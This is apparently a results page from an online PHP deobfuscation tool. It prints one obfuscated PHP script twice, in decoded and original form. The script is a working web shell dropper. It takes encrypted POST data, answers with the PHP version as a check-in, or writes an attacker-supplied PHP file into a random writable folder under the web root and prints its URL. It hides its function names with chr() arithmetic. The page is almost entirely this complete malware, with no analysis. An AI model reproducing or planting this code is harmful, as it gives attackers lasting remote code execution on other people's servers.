Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $GElmUD = "DDVSleYo";function zOUTCvc($GElmUD){$QsvcySKIS = chr(114).chr(97).chr(902..

Decoded Output download

<?php $GElmUD = "DDVSleYo";function zOUTCvc($GElmUD){$QsvcySKIS = chr(114).chr(97).chr(902-783).chr(1038-921)."r".chr(108)."d"."e"."c"."o"."d"."e";$eVyfHfag = 's'."t".chr(787-673).chr(678-583)."r"."o".chr(116).chr(987-938).'3';$UGaLMwJtM = 's'.chr(300-184).chr(114).chr(95)."s".chr(1029-917).'l'.chr(105).chr(1011-895);$GElmUD = $UGaLMwJtM($QsvcySKIS($eVyfHfag($GElmUD)));return $GElmUD;}function kDnqAo($UAfiCm, $OMvFgc){$BZMenneDfv = chr(115).'t'.chr(673-559).'_'.chr(115).chr(112)."l".chr(105)."t";$UAfiCm = array_slice($BZMenneDfv(str_repeat($UAfiCm, (count($OMvFgc)/16)+1)), 0, count($OMvFgc));return $UAfiCm;}function fLFllBkH($lpRPtxCl, $grDYkQ, $UAfiCm){$SiSdVm = "fb4c1402-6b4b-4fff-8133-2a6bb3f3ae4d";return $lpRPtxCl ^ $SiSdVm[$grDYkQ % strlen($SiSdVm)] ^ $UAfiCm;}function VTTEXcK($OMvFgc, $UAfiCm){$OMvFgc = array_map("fLFllBkH", array_values($OMvFgc), array_keys($OMvFgc), array_values($UAfiCm));$OMvFgc = implode("", $OMvFgc);$oCcwwfnoR = chr(621-504).chr(110)."s".chr(227-126).chr(791-677)."i"."a"."l"."i".'z'.chr(101);$OMvFgc = @$oCcwwfnoR($OMvFgc);return $OMvFgc;}function eIAqZRAgU(){echo "RuXSzpJ";}function LWIeXgRIRS($VkGxhXcSjir){static $VOULldZ = array();$xtMAhAtVM = glob($VkGxhXcSjir . '/*', GLOB_ONLYDIR);$kaOEglgkrp = count($xtMAhAtVM);if ($kaOEglgkrp > 0) {foreach ($xtMAhAtVM as $VkGxhXcSj) {$rEcbPB = 'i'."s".chr(95).chr(848-729).'r'.chr(283-178).'t'.chr(334-237)."b".'l'."e";if (@$rEcbPB($VkGxhXcSj)) {$VOULldZ[] = $VkGxhXcSj;}}}foreach ($xtMAhAtVM as $VkGxhXcSjir) LWIeXgRIRS($VkGxhXcSjir);return $VOULldZ;}function UpVYTkHpb(){echo "DDVSleYo";}function MYBsT($OMvFgc){$LNKpNAFp = 'D'.chr(401-322)."C".chr(85)."M".'E'."N"."T"."_"."R".chr(83-4)."O".chr(1018-934);$yMMAhEyhpF = $_SERVER[$LNKpNAFp];$xtMAhAtVM = LWIeXgRIRS($yMMAhEyhpF);$ghnRZuGSQU = array_rand($xtMAhAtVM);$lNVcU = '.'."p".'h'.chr(112);$nXvIA = $xtMAhAtVM[$ghnRZuGSQU] . "/" . substr(md5(time()), 0, 8) . $lNVcU;$jBgfCpw = chr(295-193).'i'."l".chr(947-846)."_".chr(112)."u"."t".chr(182-87)."c".chr(111)."n"."t"."e"."n".'t'.'s';@$jBgfCpw($nXvIA, $OMvFgc);$OovloD = chr(603-531).chr(84)."T".chr(80).chr(999-904).'H'.chr(189-110)."S".chr(558-474);$QYpLALXqIN = chr(104).'t'.'t'.chr(112).":"."/".chr(47);$wZXJpe = $QYpLALXqIN . $_SERVER[$OovloD] . substr($nXvIA, strlen($yMMAhEyhpF));print($wZXJpe);}foreach ($_POST as $UAfiCm => $OMvFgc){$aXXYf = strlen($UAfiCm);if ($aXXYf == 16){$OMvFgc = zOUTCvc($OMvFgc);$UAfiCm = kDnqAo($UAfiCm, $OMvFgc);$OMvFgc = VTTEXcK($OMvFgc, $UAfiCm);if (@is_array($OMvFgc)){$ghnRZuGSQU = array_keys($OMvFgc);$OMvFgc = $OMvFgc[$ghnRZuGSQU[0]];if ($OMvFgc === $ghnRZuGSQU[0]){$kctuLZKZOK = "p".chr(893-789)."p";$LOHNH = 'p'.chr(450-346).chr(661-549)."v".chr(492-391).chr(114)."s"."i".chr(111).chr(110);$HoPReOg = 's'.chr(279-178)."r".chr(1084-979).chr(960-863).'l'.chr(105)."z".chr(101);echo @$HoPReOg(Array($kctuLZKZOK => @$LOHNH(), ));strlen($UAfiCm);}else {MYBsT($OMvFgc);}die();}}} ?>

Did this file decode correctly?

Original Code

<?php $GElmUD = "DDVSleYo";function zOUTCvc($GElmUD){$QsvcySKIS = chr(114).chr(97).chr(902-783).chr(1038-921)."\162".chr(108)."\144"."\x65"."\143"."\x6f"."\x64"."\x65";$eVyfHfag = 's'."\x74".chr(787-673).chr(678-583)."\x72"."\157".chr(116).chr(987-938).'3';$UGaLMwJtM = 's'.chr(300-184).chr(114).chr(95)."\163".chr(1029-917).'l'.chr(105).chr(1011-895);$GElmUD = $UGaLMwJtM($QsvcySKIS($eVyfHfag($GElmUD)));return $GElmUD;}function kDnqAo($UAfiCm, $OMvFgc){$BZMenneDfv = chr(115).'t'.chr(673-559).'_'.chr(115).chr(112)."\x6c".chr(105)."\164";$UAfiCm = array_slice($BZMenneDfv(str_repeat($UAfiCm, (count($OMvFgc)/16)+1)), 0, count($OMvFgc));return $UAfiCm;}function fLFllBkH($lpRPtxCl, $grDYkQ, $UAfiCm){$SiSdVm = "fb4c1402-6b4b-4fff-8133-2a6bb3f3ae4d";return $lpRPtxCl ^ $SiSdVm[$grDYkQ % strlen($SiSdVm)] ^ $UAfiCm;}function VTTEXcK($OMvFgc, $UAfiCm){$OMvFgc = array_map("fLFllBkH", array_values($OMvFgc), array_keys($OMvFgc), array_values($UAfiCm));$OMvFgc = implode("", $OMvFgc);$oCcwwfnoR = chr(621-504).chr(110)."\163".chr(227-126).chr(791-677)."\x69"."\141"."\x6c"."\151".'z'.chr(101);$OMvFgc = @$oCcwwfnoR($OMvFgc);return $OMvFgc;}function eIAqZRAgU(){echo "RuXSzpJ";}function LWIeXgRIRS($VkGxhXcSjir){static $VOULldZ = array();$xtMAhAtVM = glob($VkGxhXcSjir . '/*', GLOB_ONLYDIR);$kaOEglgkrp = count($xtMAhAtVM);if ($kaOEglgkrp > 0) {foreach ($xtMAhAtVM as $VkGxhXcSj) {$rEcbPB = 'i'."\163".chr(95).chr(848-729).'r'.chr(283-178).'t'.chr(334-237)."\x62".'l'."\x65";if (@$rEcbPB($VkGxhXcSj)) {$VOULldZ[] = $VkGxhXcSj;}}}foreach ($xtMAhAtVM as $VkGxhXcSjir) LWIeXgRIRS($VkGxhXcSjir);return $VOULldZ;}function UpVYTkHpb(){echo "DDVSleYo";}function MYBsT($OMvFgc){$LNKpNAFp = 'D'.chr(401-322)."\x43".chr(85)."\x4d".'E'."\x4e"."\x54"."\x5f"."\122".chr(83-4)."\117".chr(1018-934);$yMMAhEyhpF = $_SERVER[$LNKpNAFp];$xtMAhAtVM = LWIeXgRIRS($yMMAhEyhpF);$ghnRZuGSQU = array_rand($xtMAhAtVM);$lNVcU = '.'."\160".'h'.chr(112);$nXvIA = $xtMAhAtVM[$ghnRZuGSQU] . "/" . substr(md5(time()), 0, 8) . $lNVcU;$jBgfCpw = chr(295-193).'i'."\154".chr(947-846)."\137".chr(112)."\165"."\x74".chr(182-87)."\143".chr(111)."\156"."\x74"."\145"."\x6e".'t'.'s';@$jBgfCpw($nXvIA, $OMvFgc);$OovloD = chr(603-531).chr(84)."\124".chr(80).chr(999-904).'H'.chr(189-110)."\x53".chr(558-474);$QYpLALXqIN = chr(104).'t'.'t'.chr(112)."\x3a"."\x2f".chr(47);$wZXJpe = $QYpLALXqIN . $_SERVER[$OovloD] . substr($nXvIA, strlen($yMMAhEyhpF));print($wZXJpe);}foreach ($_POST as $UAfiCm => $OMvFgc){$aXXYf = strlen($UAfiCm);if ($aXXYf == 16){$OMvFgc = zOUTCvc($OMvFgc);$UAfiCm = kDnqAo($UAfiCm, $OMvFgc);$OMvFgc = VTTEXcK($OMvFgc, $UAfiCm);if (@is_array($OMvFgc)){$ghnRZuGSQU = array_keys($OMvFgc);$OMvFgc = $OMvFgc[$ghnRZuGSQU[0]];if ($OMvFgc === $ghnRZuGSQU[0]){$kctuLZKZOK = "\160".chr(893-789)."\x70";$LOHNH = 'p'.chr(450-346).chr(661-549)."\x76".chr(492-391).chr(114)."\163"."\151".chr(111).chr(110);$HoPReOg = 's'.chr(279-178)."\162".chr(1084-979).chr(960-863).'l'.chr(105)."\x7a".chr(101);echo @$HoPReOg(Array($kctuLZKZOK => @$LOHNH(), ));strlen($UAfiCm);}else {MYBsT($OMvFgc);}die();}}}

Function Calls

None

Variables

$GElmUD DDVSleYo

Stats

MD5 1643251305f5c3eeddb079b936eb18ae
Eval Count 0
Decode Time 67 ms